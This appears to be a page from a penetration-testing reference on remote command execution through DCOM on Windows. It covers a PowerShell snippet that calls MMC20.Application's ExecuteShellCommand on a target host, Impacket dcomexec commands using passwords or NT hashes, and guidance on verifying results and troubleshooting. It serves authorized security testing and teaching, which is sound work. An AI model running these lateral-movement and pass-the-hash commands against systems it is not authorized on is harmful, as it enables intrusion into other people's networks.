Execute through an authorized DCOM application object

Needs: RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component

Current Windows token

# Current Windows token
$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash

# Impacket with password or NT hash
impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Verify → Verify the actual destination effect and identity; COM object creation alone does not prove command execution.

If it fails → Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route. More detail ↓

If → then

A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
Needs: A functioning execution primitive and an observable output or controlled side effect
A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
Needs: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
Needs: Known outer request/template/database parser and inner shell; correct character encoding and transport length

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Execute through an authorized DCOM application object

USE WHEN: A usable remote COM application and effective activation/method rights
STARTING ACCESS: Identified authentication material, destination service reachability and a candidate authorized identity
RESULT: A verified remote application-mediated process effect

Recognize the clue

Use the target's RPC and administration evidence to investigate a specific supported COM application, rather than treating DCOM as a universal shell.

Test-NetConnection TARGET -Port 135

SYNTHETIC EXAMPLE OUTPUT

RPC endpoint mapper: reachable
Candidate application: MMC20.Application.1
Activation/method authorization: not yet known

Means: A named application and route form a candidate; component availability and allowed activation/method remain separate.

Confirm: Check dynamic RPC, actual class/rights, authentication/tool support, method and verifiable output/effect.

After validation: The intended authorized application method produces the remote effect: choose this DCOM route.
Ruled out in this context: The component is absent or activation is denied: reject that class-based chain.
Still inconclusive: A created COM object without command/effect evidence leaves execution unproved.

Troubleshooting: Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route.

Current Windows token:

Impacket with password or NT hash:

Current Impacket dcomexec explicitly rejects Kerberos for its supported MMC/Shell DCOM objects because they do not accept the required HOST ticket. Use wmiexec -k when Kerberos command execution is required. DCOM class availability, RPC reachability and launch/access permissions vary.

Why it works

A DCOM application can expose a method that launches commands under its authorized context. Session 0 can hide graphical output, so use a verifiable process/file/command effect.

Worked example · hypothetical

Observation: an MMC object can be activated remotely. Test: invoke the documented minimal command and observe its output/effect. Illustrative output: a target-side marker appears while no desktop window is visible. Interpretation: session isolation explains the missing GUI.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗